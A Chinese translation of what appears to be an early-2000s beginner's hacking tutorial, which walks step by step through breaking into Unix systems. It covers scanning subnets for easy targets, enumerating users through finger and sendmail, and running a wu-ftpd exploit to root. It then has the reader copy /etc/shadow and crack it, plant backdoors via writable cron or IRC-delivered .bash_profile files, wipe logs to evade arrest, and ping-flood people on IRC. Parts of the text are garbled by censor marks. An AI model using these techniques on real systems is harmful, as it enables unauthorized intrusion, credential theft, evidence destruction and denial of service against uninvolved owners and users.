首先说一下写这篇文章的目的,近来愈来愈多的人问我诸如“我如何可以黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。若是你是个初学者,你应当从头至尾通读这篇文章,或者若是你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的缘由是,让别人再也不来问我或者其余人如何去作*愚蠢*的事,是的,问如何去黑(how to hack)是*愚蠢*的,它让你看起来愚蠢而且学不到任何东西,固然除非你彻底不能自学的话。
起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和***的事,而且使用它们,那时我是一个lamer(瘸子,不完整的)。我在学校里问别人而且最终发现一个对hacking感兴趣的人。他向我展现一些技巧,我付给他钱。(snowblue:如今有SQL,无用等一些高手义务的帮助大家,而大家却很差好的珍惜)他使用UNIX不少年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷惑,最终我获得了一个shell。我读全部我可以找到的,把全部的时间都花在计算机上,我开始对社会和现实世界失去兴趣。那时候我天天在计算机上花的时间超过12个小时。我读任何找到的资料,我读的第一篇文章是"mostly harmless hacking"(几乎没有破坏性的***),我对它很感兴趣。起初我只会用一些图形模式的工具来作一些像改变关机屏幕的简单的事。作有关hacking的网站,尽管我并不知道hacking到底是什么。我收集windows下的***和病毒等一些工具,尽管那并非hacking,但那时候我喜欢它们。随后我开始用邮件×××,flooder,DoS。当我对他们有了了解后,(我意识到那并非hacking)我回去继续寻找shell。当时我所能找到的免费的shell都是很是简单的。我据说了有关linux的一些事。我问我学校的“***朋友”,他说不要用linux,用真正的UNIX。他搬到了PA,从那之后我再也没有他的音讯。我试图找到他并感谢它所教给个人,但没有成功。我获得了一个linux。安装是文本模式的,但它运行很迅速,它比windows要可靠多了,从不死机。但个人56k modem不能工做,我跑到了IRC问有关linux的问题。我发现了个人modem是一种叫winmodem的,win-moden是由软件控制的,他们一般比硬件modem慢,而且不能再linux下工做。(snowblue:如今大多数的modem在linux下都有驱动,你能够本身寻找)我在命令行下模式工做,看本身可以干些什么。最终我花了100美圆买了一个linux兼容的modem。我让他工做,这太棒了。从那之后我就使用它,而且仍然能够在那上面学到更多的东西。个人父母说我“对计算机着魔了”,我试图解释我并无。我从没有对它感到厌烦,我一直可以学到新的东西。那段时间里,我失去了一些朋友,退出了大学足球队。全部的一切仅仅是为了这该死的机器。但愿某人能够发现这篇文章颇有用。
目录
1. 普通的知识
2. 须要的东西
3. 简单的***
4. 如何进入
5. 列举
6. 常见的失误
7. 缓冲溢出
8. 防火墙
9. 进入以后干些什么
10. 如何才能不被抓住
11. 清除纪录
12. 用途
13. 我对破坏者的见解
否定声明:
阅读这篇文章说明你赞成隶属于r00t-access的任何人都不对你经过看这篇文章所形成的任何后果负责
1. 读这篇文章的最好方法是一次把它读完,而后再读一遍。好吧,如今让咱们开始。我假设你已经有了一些基本的知识,知道telnet是什么,一些基本的tcp/ip的知识等等。若是有一些你并不理解,不要犹豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
须要的东西:
2. 我列出了一些在这篇教程中须要的东西。你能够在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就能够了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)
容易的目标:
3. 这里我讲一下如何找到一些容易的目标
1. 到altavista.com用日语或其余语言搜索“游戏”,理由是这些站点的安全性较低
2. 扫描一个有不少服务的cable或者dsl子网,你能够用nmap,端口的状态应当是open而不是close或者filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,缘由是man page已经有做够的信息了。
3. 确保nmap已经被安装了。使用下面我给出的命令
(注意:$是一个普通的用户,而#则是超级用户。做为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip)
$ nmap -p 21,23 24.112.*.*
进入:
4. 为了可以进入,你应当收集尽量多的有关目标主机的信息。因为这是你的第一次***,因此确保它有一个笨笨的管理员。而后你可使用exploit。我将在后面详细解释
列举:
5. Ok 咱们找到了目标。如今让咱们获得更多的信息。首先来telnet它的79端口。若是它是打开的,你就能够获得以登录用户的信息。仅仅是telnet而后按下回车。
让咱们假定端口是打开的而且容许咱们查看在线用户。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 若是你获得了一个login,把它记下来,而后找更多的login。或许你须要暴力穷句。你能够在
[url]www.packetstorm.securify.com[/url]
找到一个windows下的穷具工具。使用大量的单词来穷举那个帐号。若是你获得的消息是"no one is logged on" 或许你须要一个windows下的haktek。一样,你能够在
[url]www.packetstorm.securify.com[/url]
找到它。Haketk可以让你监视finger进程而且纪录登录的人。这是颇有用的。另外一种方法,你能够用sendmail。若是他们有不少的用户,你能够尝试telnet而且找几个有效的用户名,还能够找几个程序经过暴力法来完成。看下面,我给出了经过sendmail来获得有效的用户名的例子—
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他们的smtp,敲入expn,而后系统告诉我这是否是一个有效的用户,最后我给出了一个用户不存在的例子,当我敲入expn Billy,系统告诉我用户不存在,而后我知道这不是一个合法的用户。这一样能够帮助你获得他们的email,而后你就能够尝试一下社会工程学。
另外一个搜集用户名的方法能够是利用usenet, altavista,你能够搜索一下新闻组,或许能够获得一些有用的信息。
另外一些能够利用的进程是 systat netstat等等。
telnet还能够帮助你判断出对方的操做系统,当你想exploit时这是很是重要的。当telnet时,有些会给出系统信息,以下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你能够看到,系统是redhat 6.1
有些时候你可使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系统。它所做的只是像一个在那里工做的人那样和别人交谈。他知道当时那里的某人正在度假,可是他知道某人的名字。他打电话到了Novell的办公室找那我的,而后秘书告诉他那我的正在度假,而后他说它须要和那我的联系,因而它便从秘书那里获得了那我的的信息。
常见的失误:
6. 人们会时不时的犯一些错误。这能够帮助你进入。某些人并非很好的管理员。一个十分广泛的失误是权限设置上的错误。有些系统对全部人都开放了write权限。这是一个很大的问题。让咱们举个例子。某人把cron.daily的write权限开放给全部人。你就能够上传一个后门程序并经过cron进程来执行,从而获得系统的访问权。
如今让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,而且若是它把dcc文件传送设置为自动接收,接受目录为他的主目录。你就能够传给他一个.bash_profile,文件写的好的话,可让他作一些事。例如添加一个用户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting:
7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么而后进入下一节。
缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些状况下,你能够经过特殊的代码让缓冲区溢出来获得一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
$ ./wuftpd-god -s0 -t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example:
[email]joe@cc456375-b.abdn1.md.home.com[/email]
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
#
若是你想要root的话,exploit是一种方法。查出系统的操做系统,而后到hack.co.za 或者packetstorm 查找那个系统的exploit,你应当获得一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root 固然,若是系统打了exploit的补丁,你或许想知道root的口令是什么。能够敲下面的命令:
(若是没有通过shadow,口令被存放于/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容,可是你须要破解他们,能够用john the ripper,能够在packetstorm或其余地方找到它。我就用它,他很快。(snowbue:支持国产,你能够用小榕的乱刀,在
[url]www.netxeyes.com[/url]
下载)有时破解一个帐号要用几年的时间,因此我并不提倡这种作法。
防火墙:
8. 若是你了解你所做的,防火墙并不能阻止你。我很喜欢用nmap,这个工具很是好。在
[url]www.insecure.org[/url]
能够找到最新的版本。我喜欢它的OS(操做系统)检测,即便目标只运行了不多的服务,它的检测也很准确。它经过分析目标的tcp指纹并于自身携带的数据库做比较来获得结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深刻而是这篇文章变得令人厌烦。若是你像知道更多有关nmap的,只需敲入man nmap就能够了。
进入之后作什么:
9. 进入之后作什么取决于你想如何使用这个系统。若是你想有一个匿名的root shell,那么就设置一个后门。你能够在
[url]www.packetstorm.securify.com[/url] 找到后门(***)。我认为你彻底有能力本身独立设置一个后门,可是若是你须要帮助的话,加入$r00t-access,或许我能够帮助你。可是我*不会*帮助你进入一个系统,不过我或许能够帮助你加固你本身的系统。 如何才能不被抓住: 10. 最主要的事是。别干*蠢*事。若是你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许你须要修改他们的纪录。这就是我想说的。 清除纪录: 11. 若是你还向待在这儿而不进监狱的话,清除日志是最重要的工做。在login/hostname中清除纪录,linux里是/var/log,还有你目录下的.bash_profile文件。做这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。 用途: 12. 我一贯都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我本身的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它能够告诉你系统有些什么漏洞。你能够在远程很容易的使用它。有时当我看不惯某人的时候,我就flood他们,就像这样: # ping -f -c 50 -s 4500 IPaddress ......................................................... ........................................................... .........E...........E...EE........E..................E....... ..............E.......E.EEE...................E.E...... Host unreatchable. 有人认为这是lame的,可是我经过这样来让某人在IRC里闭嘴。 破坏者: 13. 在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。并非我没有这个能力而是由于这是不对的。再加上若是你被抓住了你或许会由于你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈